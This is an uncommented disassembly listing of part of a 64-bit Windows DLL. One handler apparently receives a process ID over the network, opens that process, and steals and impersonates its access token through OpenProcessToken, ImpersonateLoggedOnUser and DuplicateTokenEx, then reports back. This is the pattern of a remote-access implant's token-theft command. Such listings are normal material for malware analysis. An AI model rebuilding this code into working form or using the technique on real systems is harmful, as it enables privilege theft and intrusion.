call fcn.18001a03c
lea rax, [rsp + 0x230]
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x180019269
lea rcx, [rsp + 0x230]
mov r8d, reloc.WS2_32.dll_recv
call rbx
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x630]
xor rcx, rsp
call fcn.18001ab10
add rsp, 0x640
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0xc00
mov r12, r8
mov ebx, edx
call fcn.180015378
mov r13d, 0x400
mov rcx, rax
mov edx, r13d
mov r14, rax
call fcn.18001546c
mov edx, r13d
mov rcx, r14
mov r15, rax
call fcn.18001546c
mov edx, r13d
mov rcx, r14
mov rsi, rax
call fcn.18001546c
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.180015424
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r15
call fcn.1800154cc
test eax, eax
je 0x18001936e
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rsi
call fcn.1800154cc
test eax, eax
je 0x18001936e
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.1800154cc
test eax, eax
je 0x18001936e
mov r9, r12
mov r8, rbp
mov rdx, rsi
mov rcx, r15
call fcn.180019610
mov rcx, r14
call fcn.180015400
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
cmp edx, 4
jne 0x180019565
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x250
mov rax, qword [0x18003e040]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov ecx, dword [rcx]
and qword [rsp + 0x30], 0
mov rsi, r8
call sub.WS2_32.dll_ntohl
mov ebx, eax
call fcn.18001938c
mov r8d, ebx
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x18001944c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x21]
mov r8d, eax
mov edx, ebx
call fcn.18000d514
jmp 0x180019541
lea r8, [rsp + 0x30]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x180019470
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x24
jmp 0x18001943d
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x18001948c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x25
jmp 0x18001943d
mov rcx, qword [rsp + 0x30]
lea rax, [0x180049790]
mov r9d, 3
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov edx, 0x2000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x1800194cd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x26
jmp 0x18001943d
mov rcx, qword [0x180049790]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x1800194ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x27
jmp 0x18001943d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180019507
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x180049790]
lea rdx, [rsp + 0x40]
mov r8d, 0x200
call fcn.1800197dc
test eax, eax
je 0x180019541
lea rax, [rsp + 0x40]
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x18001952b
lea rcx, [rsp + 0x40]
mov r8d, reloc.WS2_32.dll_ntohs
call rsi
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.18001ab10
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180015424
lea rcx, [rsp + 0x20]
call fcn.180015494
lea rcx, [rsp + 0x20]
movzx edi, ax
call fcn.1800153e8
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.180015468
mov rdx, rbx
mov r8d, eax
movzx ecx, di
call fcn.1800199e4
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 7
call fcn.18001ee88
nop
xor edx, edx
mov rcx, rbx
call fcn.18002920c
mov ebx, eax
mov ecx, 7
call fcn.18001f070
mov eax, ebx
add rsp, 0x20
pop rbx
ret